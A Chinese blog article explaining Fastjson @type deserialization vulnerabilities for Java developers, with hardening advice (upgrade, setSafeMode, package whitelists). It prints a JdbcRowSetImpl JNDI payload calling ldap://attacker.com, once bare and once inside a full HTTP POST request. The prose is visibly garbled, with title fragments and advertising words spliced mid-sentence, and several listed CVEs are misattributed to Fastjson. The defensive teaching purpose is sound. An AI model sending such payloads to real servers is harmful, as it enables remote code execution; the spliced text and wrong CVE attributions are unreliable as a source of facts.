震惊！Fastjson 漏洞背后的真相，开发工程师必须懂的原理

前言 在与一位安全服务工程师交流时，震惊我们发现许多开发团队对 Fastjson 漏洞的漏洞认知依然停留在“知道它有问题，但不清楚具体原因”的背后必须阶段。尤其是真懂在国内 Java 项目中，Fastjson 的相开使用频率极高，一旦出现漏洞，发工影响范围会迅速扩大。程师本篇文章将带你从原理到防御策略，原理完整解析 Fastjson 漏洞的震惊技术细节与风险来源，帮助你构建更安全的漏洞后端系统。Fastjson 是背后必须什么？

Fastjson 是由阿里巴巴开源的一款高性能 JSON 处理库，常用于 Java Web 应用或移动服务端。真懂 它的相开核心功能有两类：

序列化：将 Java 对象转换为 JSON 字符串反序列化：将 JSON 字符串转换为 Java 对象

在 Maven 项目中，引用方式通常如下：

复制<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.83</version> </dependency>1.2.3.4.5.

虽然使用方便，发工但反序列化的程师强大功能，也为攻击者提供了可乘之机。

核心问题：反序列化风险

Fastjson 的主要漏洞集中在反序列化过程中，多次被分配 CVE 编号，例如：

CVE-2017-18349CVE-2020-2883CVE-2021-21351

这些漏洞的云服务器本质是：当解析恶意构造的 JSON 数据时，会触发某些类的危险方法，最终导致远程代码执行。

反序列化原理回顾

在正常场景下，反序列化是一个非常有用的功能：

复制{"name":"张三","age":20}1.

Fastjson 会将其转换为 Java 对象：

复制User{name="张三", age=20}1.

然而，Fastjson 为了支持多态反序列化，引入了一个特殊字段 @type，允许指定反序列化目标类，例如：

复制{"@type":"com.example.User","name":"张三","age":20}1.

这会告诉 Fastjson 直接实例化 com.example.User。问题也由此产生。

漏洞利用链解析

攻击者可以在 @type 中填入系统中存在的“危险类”（gadget 类），并构造特殊参数，从而触发恶意操作。

示例攻击数据：

复制{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}1.

Fastjson 解析过程：

解析 @type → 实例化 JdbcRowSetImpl调用 setDataSourceName() → 传入恶意 LDAP 地址调用 setAutoCommit(true) → 触发 JNDI Lookup服务器访问 ldap://attacker.com → 下载并加载攻击者类远程代码执行，攻击者获得服务器控制权为什么会出现这种漏洞？

根本原因有三点：

缺乏对 @type 的类限制：早期版本几乎可以反序列化任意类自动调用 Setter 方法：反序列化时会自动执行类的 setterJNDI + gadget 类：当类中包含 JNDI 调用（如 JdbcRowSetImpl）时，构成了远程代码执行链

哪些情况有风险？

从不可信来源（用户输入、HTTP 请求）解析 JSON使用低于安全版本的 Fastjson（如 1.2.83 之前版本）项目类路径中存在可利用的 gadget 类（JdbcRowSetImpl、TemplatesImpl 等）攻击场景实例

HTTP 恶意请求：

复制POST /api/user HTTP/1.1 Host: vulnerable.com Content-Type: application/json {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/poc","autoCommit":true}1.2.3.4.5.6.

服务器处理流程：

接收请求体JSON.parseObject(requestBody) → 进入反序列化流程触发 gadget 类方法 → 远程加载恶意类攻击者获得服务器权限 安全加固建议

在 com/icoderoad/security/FastjsonSafeConfig.java 中：

复制package com.icoderoad.security; import com.alibaba.fastjson.parser.ParserConfig; public class FastjsonSafeConfig { public static void applySecurityConfig() { // 开启安全模式，禁用 AutoType ParserConfig.getGlobalInstance().setSafeMode(true); // 如果必须使用 @type，则开启白名单 ParserConfig.getGlobalInstance().addAccept("com.icoderoad.safe."); } }1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.

四条防护铁律：

版本升级：至少升级到 1.2.83 及以上版本安全模式：setSafeMode(true) 禁用 AutoType白名单机制：仅允许指定包的亿华云计算类反序列化输入验证：永远不要反序列化未经严格校验的 JSON关键认知

Fastjson 漏洞不是孤例，它反映了 Java 反序列化的共性问题。Apache Commons Collections、Jackson 也曾出现类似风险。安全性更多依赖配置与使用方式，而不仅仅是依赖库版本。

结论 在 Java 生态中，反序列化漏洞是一个反复出现的安全挑战。Fastjson 因其灵活性和高性能广泛被采用，但这种灵活性在缺乏限制时同样会成为攻击者的武器。作为开发者，必须在项目中贯彻“默认安全”的理念：保持依赖更新、启用安全模式、严格限制可反序列化的类型，并彻底避免解析来源不明的数据。唯有如此，才能在保证开发效率的同时，真正守住系统的安全防线。企商汇